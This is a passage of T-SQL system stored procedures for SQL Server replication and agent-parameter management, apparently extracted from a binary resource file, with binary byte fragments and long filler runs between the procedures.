    IF EXISTS
    (
        SELECT *
          FROM dbo.MSmerge_history WITH (READPAST)
         WHERE agent_id = @merge_agent_id
    )
    BEGIN
        SELECT TOP (1)
                @merge_status           = msms.runstatus,
                @merge_time             = sys.fn_replformatdatetime(msms.start_time),
                @merge_message          = msmh.comments,
                @merge_duration         = msms.duration,
                @merge_percent_complete = msms.percent_complete
          FROM dbo.MSmerge_history msmh WITH (READPAST)
     LEFT JOIN dbo.MSmerge_sessions msms WITH (READPAST)
            ON msmh.session_id = msms.session_id
         WHERE msmh.agent_id = @merge_agent_id
       ORDER BY msmh.time DESC, msmh.timestamp DESC
    END

    RETURN 0
END
0@ 8CREATE PROCEDURE sys.sp_MShelp_subscription 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,        
    @subscriber sysname = '%',              
    @subscriber_db sysname = '%'
)
as
begin
    set nocount on
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select distinct ss.srvname + ':' collate database_default + s.subscriber_db, ss.srvname, s.subscriber_db, s.subscription_type, 
        sync_type, status, agent.name, agent.job_id from 
        dbo.MSsubscriptions s, master.dbo.sysservers ss, MSdistribution_agents agent where 
        s.publisher_id = (select srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher)) and 
        s.publisher_db = @publisher_db and
        s.publication_id = (select publication_id from dbo.MSpublications where 
            publisher_id = s.publisher_id and
            publisher_db = s.publisher_db and
            publication = @publication) and
        ((@subscriber_db = N'%') or (s.subscriber_db = @subscriber_db)) and
        s.subscriber_id = ss.srvid and
        ((@subscriber = N'%') or (UPPER(ss.srvname) = UPPER(@subscriber))) and
        s.subscriber_id >= 0 and                    -- ignore virtual subscriptions
        s.agent_id = agent.id
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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YSMEMORYOBJECTS)
0$ 8
create procedure sys.sp_columns_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @column_name        sysname = null
)
as
-----------------------------------------
-- copy & pasted from version 5 !
-----------------------------------------
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        ORDINAL_POSITION,
        COLUMN_HASDEFAULT,
        COLUMN_DEFAULT,
        COLUMN_FLAGS,
        IS_NULLABLE,
        DATA_TYPE,
        TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION,
        NUMERIC_SCALE,
        DATETIME_PRECISION,
        CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME,
        COLLATION_CATALOG,
        COLLATION_SCHEMA,
        COLLATION_NAME,
        DOMAIN_CATALOG,
        DOMAIN_SCHEMA,
        DOMAIN_NAME,
        DESCRIPTION,
        -- ISSUE - These columns are not exposed by engine.
        -- ISSUE - See SQL BU 70074, which is postponed to Acadia!
        COLUMN_LCID = null,     -- ISSUE these columns must be exported by the server
        COLUMN_COMPFLAGS = null,-- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        COLUMN_SORTID = null,   -- const SCHEMA_COLUMNS xCol_COLUMNS = {
        COLUMN_TDSCOLLATION = null,
        IS_COMPUTED = null
    from
        sys.fn_remote_columns (@table_server, @table_catalog, @table_schema, @table_name, @column_name)
    order by 1, 2, 3, 7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<I>-S0@ 	8-- Change one parameter of a profile from the MSagent_parameters table
create procedure sys.sp_change_agent_parameter(
    @profile_id int,
    @parameter_name         sysname,
    @parameter_value        nvarchar(255)
)AS
    declare @slash_parameter_name sysname
    declare @dash_parameter_name sysname
    declare @retcode int

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @parameter_name = LTRIM(RTRIM(@parameter_name))
    select @parameter_value = LTRIM(RTRIM(@parameter_value))

    -- DMO sends in empty sting as '(null)'.
    if @parameter_value = N'(null)'
        select @parameter_value = N''

    -- Append leading '-' when not given
    if (substring(@parameter_name, 1, 1) <> '/' and 
        substring(@parameter_name, 1, 1) <> '-')
    BEGIN
        select @parameter_name = N'-' + @parameter_name
    END

    -- Call proc to validate parameter value
    exec @retcode = sys.sp_MSvalidate_agent_parameter 
                        @profile_id = @profile_id, 
                        @parameter_name = @parameter_name,
                        @parameter_value = @parameter_value
    if @retcode <> 0
        RETURN(1)


    select @slash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'/') collate SQL_Latin1_General_CP1_CS_AS)
    select @dash_parameter_name = lower(stuff(@parameter_name, 1, 1, N'-') collate SQL_Latin1_General_CP1_CS_AS)
   
    IF exists ( select * from msdb..MSagent_parameters 
            where profile_id = @profile_id and 
                (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS or
                 lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
        update msdb..MSagent_parameters set value = @parameter_value where 
            profile_id = @profile_id and 
            (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS or
            lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS) 

        if @@error <> 0
            return(1)
    END
0P@ 	8create procedure sys.sp_MSacquireserverresourcefordynamicsnapshot (
    @publication sysname,
    @max_concurrent_dynamic_snapshots int
    )
as
begin
    set nocount on
    declare @retcode int
    declare @pubid uniqueidentifier
    declare @process_name sysname
    declare @PALRole sysname
    select @retcode = 0
    

    if object_id('dbo.sysmergepublications') is null
    begin
        raiserror(21423, 16, -1, @publication)
        return (1) 
    end

    select @pubid = null
    select @pubid = pubid 
      from dbo.sysmergepublications
     where name = @publication 
       and publisher_db = db_name()
       and upper(publisher) = upper(publishingservername())
             
    if @pubid is null   
    begin
        raiserror(21423, 16, -1, @publication)
        return (1) 
    end

    if {fn ISPALUSER(@pubid)} <> 1
    begin
        raiserror(21423, 16, -1, @publication)
        return (1) 
    end
    
    -- Since we have gone through the PAL check already, the PAL role
    -- should have been set. The following call to sp_MSrepl_GetPALRole 
    -- is nothing more than a way to retrieve the PAL role name
    select @PALRole = NULL
    select @PALRole = sys.fn_MSmerge_GetPALRole(@pubid)
    if @PALRole is NULL
        return 1

    -- The following string construction will never overflow
    -- sysname
    select @process_name = N'ReplicationSnapshotAgent' + 
        convert(nvarchar(40), @pubid)     

    -- Acquire head of queue lock first
    exec @retcode = sys.sp_MSacquireHeadofQueueLock
        @process_name = @process_name,
        @queue_timeout = 0,
        @no_result = 1,
        @DbPrincipal = @PALRole

    if @@error<>0
        return (1)

    if @retcode<>0
        goto Failure

    exec @retcode = sys.sp_MSacquireSlotLock 
        @process_name = @process_name,
        @concurrent_max = @max_concurrent_dynamic_snapshots,
        @DbPrincipal = @PALRole
    if @@error<>0
        return (1)
    
    -- Also return the PAL role as a separate result set, this is 
    -- used later on by the snapshot agent to release the dynamic snapshot
    -- applock under the proper security principal
    select @PALRole     

Failure:

    return @retcode
end
0_ c8--
-- Name: sp_MScleanupmergepublisherdb
--
-- Description: This procedure is the per-database analogue of 
--              sp_MScleanupmergepublisher and it currently performs the 
--              following function(s):
--              1) Cleans up all the stale dynamic snapshot views
--              in the current database.
--
-- Returns: (undefined)
--
-- Security: Only members of the sysadmin fixed server role can execute this
--           procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScleanupmergepublisherdb
as
begin
    set nocount on
    declare @temp_login sysname

    if exists (select * from sys.objects
        where name = 'MSdynamicsnapshotviews')
    begin
        -- Ignore errors
        exec sys.sp_MScleanupdynsnapshotvws
    end

end
0"@ <8
--
-- Name:    
--          sp_IHscript_missing_row_check
--          
-- Description: 
--          Script check for missing row
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_IHscript_missing_row_check 
as
begin
	-- Note this must be done immediately after the update or delete statement.
	-- create WHERE clause
	insert into #proctext(procedure_text) values( N'if @@rowcount = 0' )
	begin
		insert into #proctext(procedure_text) values( N'    if @@microsoftversion>0x07320000' )
		insert into #proctext(procedure_text) values( N'        exec sp_MSreplraiserror 20598' )
	end
end
0߮ t8
create procedure sys.sp_MSrefcnt
    @objid int, @refcnt int output
as
    set @refcnt = 0
    create table #temprefs (objid int NOT NULL)
    insert into #temprefs select distinct referenced_object_id from sys.foreign_keys where parent_object_id = @objid

    while (@@rowcount > 0)
        insert into #temprefs select distinct referenced_object_id from
            sys.foreign_keys where parent_object_id in (select objid from #temprefs) and
                referenced_object_id not in (select objid from #temprefs)

    select @refcnt = count(*) from #temprefs
    return (0)
0 D8D.h2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!U	`B
=<	2s0^c4@ 8create procedure sys.sp_MSvalidate_agent_parameter (
    @profile_id      int,
    @parameter_name  sysname,
    @parameter_value nvarchar(255)
)
as
begin
    set nocount on
    declare  @agent_type int
                ,@original_parameter_name sysname
                ,@numeric_value int
                ,@selected_parameter_name sysname
                ,@min_value int
                ,@max_value int

    -- Initialize values
    select @agent_type = null
            ,@original_parameter_name = @parameter_name
            ,@numeric_value =null

    -- Make sure parameters are non-null
    if @profile_id is null
    begin
        raiserror(14043, 16, -1, N'@profile_id', 'sp_MSvalidate_agent_parameter')
        return(1)
    end

    if @parameter_name is null 
    begin
        raiserror(14043, 16, -1, N'@parameter_name', 'sp_MSvalidate_agent_parameter')
        return(1)
    end

    if @parameter_value is null
    begin
        raiserror(14043, 16, -1, N'@parameter_value', 'sp_MSvalidate_agent_parameter')
        return(1)
    end

    -- make parameter name case-insensitive
    select @parameter_name = lower(@parameter_name collate SQL_Latin1_General_CP1_CI_AS)

    -- If the parameter name has a leading / or -, remove it
    if (left(@parameter_name, 1) in (N'/', N'-'))
    begin
        select @parameter_name = substring(@parameter_name, 2, len(@parameter_name) - 1)
    end

    -- Retrieve the information for this agent_type and parameter
    SELECT @selected_parameter_name = par.parameter_name
                ,@min_value = par.min_value
                ,@max_value = par.max_value 
    FROM msdb..MSagentparameterlist AS par
        INNER JOIN msdb..MSagent_profiles as prof 
        ON par.agent_type = prof.agent_type
    WHERE prof.profile_id=@profile_id 
        -- make sure the parameter_name column is case-insensitive
        AND lower(parameter_name collate SQL_Latin1_General_CP1_CI_AS)=@parameter_name

    if @selected_parameter_name is null
    begin
        -- This profile_id %s does not exist, or it's agent type does not support parameter %s
        raiserror(21806, 16, -1,@profile_id, @original_parameter_name)
        return(1)
    end

    -- if possible convert the string param provided to the the numeric value
    if (isnumeric(@parameter_value)) = 1
    begin
        select @numeric_value = convert(int, @parameter_value)
    end
    else -- if parameter_value is non-numeric
    begin
        -- Certain parameters are not numeric
        -- Check for the parameter which have no default parameter value
        if (@parameter_name in (N'skiperrors',
                                        N'altsnapshotfolder',
                                        N'dynamicsnapshotlocation',
                                        N'inputmessagefile',
                                        N'outputmessagefile',
                                        N'interruptonmessagepattern',
                                        N'pauseonmessagepattern',
                                        N'publisherfailoverpartner',
                                        N'useoledbstreaming'))
        begin
            select @numeric_value = null
        end
        else -- something is wrong
        begin
            -- if we are here that means that we expected a numeric value but didn't find one
            -- Error: Value must be an integer
            raiserror(21805, 16, -1, @parameter_value, @original_parameter_name)
            return(1)
        end
    end

    -- Do parameter boundary checks using min_value and max_value (automatic for each param)
    if (@numeric_value is not null) 
    begin
        if (@min_value is not null AND @numeric_value < @min_value)
        begin
            -- value is lower than allowed minimum
            raiserror(21405, 16, -1, @parameter_value, @original_parameter_name, @min_value)
            return(1)
        end
        if (@max_value is not null AND @numeric_value > @max_value and @parameter_name <> N'startqueuetimeout')
        begin
            -- value is higher than allowed maximum
            raiserror(21802, 16, -1, @parameter_value, @original_parameter_name, @max_value)
            return(1)
            end
    end
    
    -- Do additional checks for some parameters (that require more than boundary checks) 
    -- These checks are parameter-specific
    if (@parameter_name = N'skiperrors')
    begin
        -- Empty string is valid.
        if @parameter_value <> N''
        begin
            -- Valid format: 11:22:33
            if  @parameter_value like N'%[^0-9:]%' or
                @parameter_value like N':%' or
                @parameter_value like N'%:' or
                @parameter_value like N'%::%'
            begin
                raiserror(20601, 16, -1)
                return(1)
            end
            -- cannot have more than 10 errors
            if  @parameter_value like N'%:%:%:%:%:%:%:%:%:%:%'
            begin
                raiserror(20602, 16, -1)
                return(1)
            end
        end
    end
    else if (@parameter_name = N'startqueuetimeout')
    begin
        if @numeric_value <> 0 and @numeric_value < @max_value
        begin
            raiserror(21404, 16, -1, @parameter_value, @original_parameter_name)
            return(1)
        end
    end
    else if (@parameter_name = N'useoledbstreaming')
    begin
        -- Empty string is valid.
        if @parameter_value != N''
        begin
            raiserror(21402, 16, -1, @original_parameter_name)
            return(1)
        end
    end
    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<B2&u0p7 8
--
-- Name:    
--          sp_MSrepl_DistDBPALAccess
--          
-- Description: 
--          This stored procedure runs in a distribution database.  It returns
--          Success (0) if the current user has PAL access to the distribution
--          database.  The user must either be a member of the 'db_owner' or
--          'replmonitor' role of the distribution database or must be in the PAL
--          of a publication associated with a publication that uses the current
--          database as its distribution database.
--
--          If @publisher is specified, only this publisher is checked.
--          If @publisher is not specified, all publishers are checked.
--
--          If @publication is specified, only this publication is checked.
--          If @publication is not specified, all publications are checked.
--
--          If @publication is specified, @publisher must be specified as well.
--
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 


create procedure sys.sp_MSrepl_DistDBPALAccess
(
    @publisher sysname = N'%',
    @publication sysname = N'%'
) 
AS
BEGIN
    set nocount on
    declare @isntname int
                ,@sid varbinary(85)

    --
    -- If @publication is specified, @publisher must be specified as well
    --
    if @publication <> N'%' and @publisher = N'%'
        return(1)
    --
    -- if the user is a member of either the db_owner or the replmonitor
    -- role return success
    --
    if is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1
        return(0)
    --
    -- initialize
    --
    select @sid = suser_sid()
    
    select @isntname = isntname 
    from master.dbo.syslogins 
    where sid = @sid and hasaccess = 1
    
    if @isntname is null and @sid is not null 
        select @isntname = 1
    -- 
    -- if the user is in the PAL of the/any publication associated
    -- with the/any publisher making use of this distribution database
    -- return success
    -- 
    if exists ( select distinct d.distribution_db
                from MSpublication_access a,
                     MSpublications p,
                     master.dbo.sysservers s,
                     msdb.dbo.MSdistpublishers d
                where a.publication_id = p.publication_id
                and   p.publication LIKE @publication
                and   (a.sid = @sid or
                    (@isntname = 1) and (exists (select * from master..syslogins
                        where sid = a.sid and isntgroup = 1 and is_member(a.login) = 1))
                )
                and   p.publisher_id = s.srvid
                and   UPPER(s.srvname collate database_default) = d.name collate database_default
                and   d.distribution_db = DB_NAME()
                and   UPPER(s.srvname collate database_default) LIKE UPPER(@publisher))
    begin
        return(0)
    end
    --
    -- if we are here - no PAL access
    --
    return(1)
END
04B 8CREATE FUNCTION sys.dm_cryptographic_provider_keys
	(
	@ProviderId			INT			= 0
	)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET
		(
		TABLE DM_CRYPTO_PROVIDER_KEYS, 
		@ProviderId
		)
0 E@ |8CREATE view sys.dm_fts_outstanding_batches
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`R<7
2)0K$I@ g8
--
-- Name:
--		sp_dropdatatype
--
-- Description:
--		Drop DBMS data type
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Implicitly will cascade delete any related mappings
--

CREATE PROCEDURE sys.sp_dropdatatype
(
	@dbms		sysname,
	@version	sysname = NULL,
	@type		sysname = '%'
)
AS
BEGIN
	DECLARE @dbms_id		int
	DECLARE @datatype_id	int
	DECLARE @retcode		int

    SET NOCOUNT ON

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Prepare dbms for case insensitive searches
	SET @dbms = UPPER(@dbms)

	BEGIN TRAN
	SAVE TRAN dropdatatype
	
	-- Get DBMS id
	SELECT	@dbms_id		= dbms.dbms_id
	FROM	msdb.dbo.MSdbms dbms
	WHERE	dbms.dbms		= @dbms
	  AND	dbms.version	= @version

	IF @dbms_id IS NULL OR @@ERROR <> 0
	BEGIN
		RAISERROR (21653, 16, -1, @dbms, @version)
		
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRAN dropdatatype
			COMMIT TRAN
		END
		RETURN (1)
	END

	IF @type != '%'
	BEGIN
		-- Get Datatype id
		SELECT	@datatype_id = datatype_id
		FROM	msdb.dbo.MSdbms_datatype
		WHERE	dbms_id	= @dbms_id
		  AND	UPPER(type COLLATE DATABASE_DEFAULT) =
			UPPER(@type) COLLATE DATABASE_DEFAULT

		IF @datatype_id IS NULL OR @@ERROR <> 0
		BEGIN
			RAISERROR (21654, 16, -1, @type)
			
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRAN dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
		
		-- Clear destination default data type mappings
		UPDATE	msdb.dbo.MSdbms_map
		SET		default_datatype_mapping_id = NULL
		FROM	msdb.dbo.MSdbms_map map,
				msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	map.map_id			= dm.map_id
		  AND	dm.dest_datatype_id	= @datatype_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop destination data type mappings
		DELETE FROM msdb.dbo.MSdbms_datatype_mapping
		WHERE dest_datatype_id = @datatype_id
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
		
		-- Clear source default data type mappings
		UPDATE	msdb.dbo.MSdbms_map
		SET		default_datatype_mapping_id = NULL
		WHERE	src_datatype_id = @datatype_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop source maps
		DELETE	msdb.dbo.MSdbms_datatype_mapping
		FROM	msdb.dbo.MSdbms_map map,
				msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	map.map_id			= dm.map_id
		  AND	map.src_datatype_id	= @datatype_id
		  
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
		
		DELETE FROM msdb.dbo.MSdbms_map
		WHERE src_datatype_id = @datatype_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
		
		-- Drop DBMS data type
		DELETE FROM msdb.dbo.MSdbms_datatype
		WHERE datatype_id = @datatype_id	

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		-- Clear default data type mappings
		UPDATE	msdb.dbo.MSdbms_map
		SET		default_datatype_mapping_id = NULL
		WHERE	src_dbms_id = @dbms_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop all data type mappings
		DELETE	msdb.dbo.MSdbms_datatype_mapping
		FROM	msdb.dbo.MSdbms_map map,
				msdb.dbo.MSdbms_datatype_mapping dm
		WHERE	map.map_id = dm.map_id
		  AND	(
					map.src_dbms_id = @dbms_id OR
					map.dest_dbms_id = @dbms_id
				)
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop all maps
		DELETE FROM msdb.dbo.MSdbms_map
		WHERE	src_dbms_id  = @dbms_id
		   OR	dest_dbms_id = @dbms_id
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop DBMS data type
		DELETE FROM msdb.dbo.MSdbms_datatype
		WHERE dbms_id = @dbms_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	
	-- Fixup defaults for any dropped default mappings
	exec @retcode = sys.sp_MSrepl_fixupdefaultmappings
	IF @retcode <> 0 OR @@ERROR <> 0
	BEGIN
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRANSACTION dropdatatype
			COMMIT TRAN
		END
		RETURN (1)
	END
	
	-- Verify that there are still any remaining data types for the DBMS
	IF NOT EXISTS
	(
		SELECT	datatype_id
		FROM	msdb.dbo.MSdbms_datatype
